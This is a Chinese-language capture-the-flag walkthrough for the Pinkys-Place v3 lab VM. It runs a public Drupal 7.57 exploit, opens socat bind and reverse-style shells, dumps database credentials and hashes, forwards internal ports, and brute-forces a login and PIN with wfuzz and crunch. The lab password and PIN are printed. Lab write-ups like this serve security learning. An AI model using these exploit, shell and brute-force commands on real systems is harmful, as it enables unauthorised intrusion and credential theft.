2、靶机——Pinkys-Place v3(2)

文章目录

  • 一、获取flag2
    • 1.1 访问web网站
    • 1.2 查看日志文件
    • 1.2 查看Drupal漏洞
    • 1.3 获取shell
  • 二、获取flag3
    • 2.1 信息收集
    • 2.2 利用socat获取稳定权限
    • 2.3 获取数据库信息
    • 2.4 连接mysql数据库
    • 2.5 查看靶机开放的端口信息
    • 2.6 端口转发
    • 2.7 访问web服务
    • 2.8 利用wfuzz模糊测试
    • 2.9 获取用户名
    • 2.10 用户名、密码和pin破解

一、获取flag2

  21端口的信息用完了,再研究下8000端口。

2、靶机——Pinkys-Place v3(2)_第1张图片

1.1 访问web网站

  访问192.168.92.3:8000

2、靶机——Pinkys-Place v3(2)_第2张图片
  是一个登录网站,网站内容透露username是pinkadmin。根据之前nmap的结果,发现了一些网站路径。

其中,changelog.txt文件是一个(软件)更新日志文件。

1.2 查看日志文件

  访问192.168.92.3:8000/CHANGELOG.txt

2、靶机——Pinkys-Place v3(2)_第3张图片

可以发现,Drupal(CMS)的版本是7.57。CMS可以理解为网站模板。

1.2 查看Drupal漏洞

(1)使用searchsploit命令直接查找Drupal 7.57的漏洞。

2、靶机——Pinkys-Place v3(2)_第4张图片

注:searchsploit是一个用于Exploit-DB的命令行搜索工具,Kali Linux中保存了一个该漏洞库的拷贝,可以帮助我们查找渗透模块。

(2)下载脚本

  • 可以去 https://www.exploit-db.com/exploits/44449 下载;
  • 也可以直接使用kali中保存的副本,路径:/usr/share/exploitdb/exploit/php/webapps/44449.rb

2、靶机——Pinkys-Place v3(2)_第5张图片
2、靶机——Pinkys-Place v3(2)_第6张图片

运行ruby程序,需要安装highline。

(3)安装highline
  因为是要安装ruby的包(highline),所以需要用到ruby的包管理器gem,就相当于下载python安装包时需要使用pip一样。

2、靶机——Pinkys-Place v3(2)_第7张图片

1.3 获取shell

  payload:ruby 44449.rb http://192.168.92.3:8000

2、靶机——Pinkys-Place v3(2)_第8张图片

拿到shell!

2、靶机——Pinkys-Place v3(2)_第9张图片

获取flag2。

二、获取flag3

2.1 信息收集

  使用ls -al查看该目录下所有文件及其属性。

2、靶机——Pinkys-Place v3(2)_第10张图片

  关于文件属性,以下面两个文件的文件属性为例:

-rw-r--r--  1 root     root         28 Aug 14 18:01 flag2.txt
drwxr-xr-x  4 www-data www-data   4096 Feb 21  2018 sites
  • 最左边的d-,分别表示目录文件和普通文件。
  • rwx分别表示可读(read)可写(write)可执行(execute)。
  • drwxr-xr-x可划分为d|rwx|r-x|r-x,分别代表文件类型、文件所有者权限、用户组权限和其他用户权限。
  • www-data www-data,第一个www-data代表文件所有者,第二个www-data代表文件所有者所属的组。
  • 总的来说,文件所有者www-data对该文件具有读写执行的权限,属于www-data这个组的成员对该文件具有读和执行的权限,而其他用户只有执行的权限。

  尝试进入目录,失败。

在这里插入图片描述

2.2 利用socat获取稳定权限

  socat是nc(瑞士军刀)的一个变种,基本命令如下:

	socat [参数] <地址1> <地址2>

  简单来说,socat所做的事就是:把左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。具体请参考:新版瑞士军刀:socat

  因为靶机的防火墙规则使得靶机不能主动建立TCP连接,所以我们使用socat建立正向shell,下面是相关命令:

	socat TCP-LISTEN:1111,reuseaddr,fork EXEC:bash,pty,stdeer,setsid,sigint,sane // 靶机
	socat file:`tty`,raw,echo=0 tcp:192.168.92.3:1111 // kali

在这里插入图片描述

2.3 获取数据库信息

  翻遍目录,发现 var/www/html/sites/default/settings 里面好像有东西,得到数据库名、用户名和密码。

2、靶机——Pinkys-Place v3(2)_第11张图片

2.4 连接mysql数据库

	mysql -u dpink -p // 连接数据库
	drupink

2、靶机——Pinkys-Place v3(2)_第12张图片

	show databases; // 查看数据库名
	use drupal; // 打开数据库
	show tables; // 显示数据表
	select * from users; // 查询
	select name,pass from users;

2、靶机——Pinkys-Place v3(2)_第13张图片

似乎无法解密。

2、靶机——Pinkys-Place v3(2)_第14张图片

2.5 查看靶机开放的端口信息

	netstat -a // -a:显示所有链接和监听端口

2、靶机——Pinkys-Place v3(2)_第15张图片

  关于Local Address的解释:

  • 0.0.0.0:9999表示监听服务器上所有IP地址的9999端口。一个服务器可能有多个IP地址。
  • localhost:65334表示监听本机回环地址的65334端口(如果某个服务只监听回环地址,那么只能在本机进行访问,无法通过TCP/IP协议进行远程访问)。
  • [::]:5555表示监听IPV6的回环地址的5555端口。
  • 192.168.92.3:1111表示监听192.168.92.3的1111端口,可以通过TCP/IP协议进行远程访问。

  既然本机开放了80端口和65334端口,但是只允许本机访问,那么我们需要使用socat进行端口转发,使得外部设备能够访问80端口和65334端口上的服务。

2.6 端口转发

  命令如下:

	socat tcp-listen:8888,fork tcp:127.0.0.1:80 & //靶机

  上述命令的大概意思就是靶机上监听8888端口,将8888端口的流量发送给127.0.0.1:80,实现本地转发。

2、靶机——Pinkys-Place v3(2)_第16张图片

  通过nmap -sV 192.168.92.3获得服务版本的详细信息。

2、靶机——Pinkys-Place v3(2)_第17张图片

2.7 访问web服务

  在kali上访问192.168.92.3:7777,显示数据库正在开发。

在这里插入图片描述

  在kali上访问192.168.92.3:8888,发现后台登录页面。简单试了一下,不存在SQL注入,下面进行爆破。
2、靶机——Pinkys-Place v3(2)_第18张图片

2.8 利用wfuzz模糊测试

(1)wfuzz简介

  Wfuzz是一款为了评估WEB应用而生的模糊测试工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。

(2)目录遍历

  既然7777端口显示数据库正在开发,遍历下目录,看看有没有发现。命令:

	wfuzz --sc 200 -w /usr/share/wordlists/dirb/common.txt "http://192.168.92.3:7777/FUZZs.db"
  • --sc 200 表示显示响应码为200的请求
  • -w <路径>表示字典路径
  • FUZZ表示fuzz的部分,就相当于一个变量。加s纯属是字典中的值没有复数s。
  • .db是为了跑数据库文件

2、靶机——Pinkys-Place v3(2)_第19张图片
2、靶机——Pinkys-Place v3(2)_第20张图片

加s才能将db文件跑出来,也就是说字典很重要,字典里有就能跑出来,没有就跑不出。

  访问192.168.92.3:7777/pwds.db,可以拿到一个密码字典,其中的密码可能是那个GUESS网址的密码。
2、靶机——Pinkys-Place v3(2)_第21张图片

一共18条密码。

2.9 获取用户名

  linux下/etc/passwd是一个文本文件,其中包含了登录linux系统所必须的每个用户的信息,会保存用户名和密码等信息,只是密码不是明文保存,且保存在/etc/shadow文件中。
/etc/passwd中的一行信息为例:

root:x:0:0:root:/root:/bin/bash

  /etc/passwd文件将每个用户的详细信息写为一行,其中包含七个字段,每个字段之间用冒号:分隔:

字段 含义
用户名 用户登录密码时使用的用户名
密码 密码,x表示用户设有密码,但是密码保存在/etc/shadow
UID 用户ID,用于识别用户权限(超级用户、系统用户、普通用户)
GID 用户初始值组ID
描述性信息 描述
主目录 用户的主目录,例如:root主目录为/root,普通用户kali的主目录为/home/kali
默认shell linux系统默认使用/bin/bash,还有其他命令解释器,如/bin/zsh

  查看cat /etc/passwd

2、靶机——Pinkys-Place v3(2)_第22张图片

  发现如下关键用户名:root、pinky、pinksec、pinksecmanagement,再加上访问8000端口时提示pinkadmin,一共5个用户名。

2.10 用户名、密码和pin破解

(1)用户名和密码的破解

  因为5*18*10^5 =9*10^6,计算量巨大。因此,首先固定pin值进行爆破。将用户名和密码分别保存在user.txtpasswd.txt中,使用wfuzz进行爆破,命令如下:

	wfuzz -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php

-d代表使用post数据。

2、靶机——Pinkys-Place v3(2)_第23张图片

返回值不一样,得到用户名和密码。

(2)pin破解

  使用crunch生成5位数字,命令如下:

	crunch 5 5 1234567890 > pin.txt
  • crunch语法:crunch [] [options]
  • min-len表示生成的最小长度字符串;
  • max-len表示生成的最大长度字符串;
  • charset string表示字符集设置
    2、靶机——Pinkys-Place v3(2)_第24张图片
	wfuzz --hh 41,45 -w pin.txt -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" http://192.168.92.3:8888/login.php
  • --hh:过滤chars值为41和45的响应。

2、靶机——Pinkys-Place v3(2)_第25张图片

pin值为23081。

  登录去咯~,登录后发现有一个可执行窗口。

2、靶机——Pinkys-Place v3(2)_第26张图片
  反弹shell:

	socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:3333,bind=0.0.0.0,reuseaddr,fork // 靶机,网页
	socat file:`tty`(不是单引号),raw,echo=0 tcp:192.168.92.3:3333 // kali

2、靶机——Pinkys-Place v3(2)_第27张图片

注意:反弹shell和正向shel的区别(个人理解)

  • 正向shell是在靶机上新建了一个窗口,然后kali去连接该shell;
  • 反弹shell是靶机上存在一个shell,将其反弹给kali。

2、靶机——Pinkys-Place v3(2)_第28张图片

  将正向shell的命令使用到网页上,kali上无法拿到shell。

2、靶机——Pinkys-Place v3(2)_第29张图片
  之后就是常规操作,flag3在/home/pinksec/bin/flag3.txt

2、靶机——Pinkys-Place v3(2)_第30张图片

你可能感兴趣的:(渗透测试实践,安全)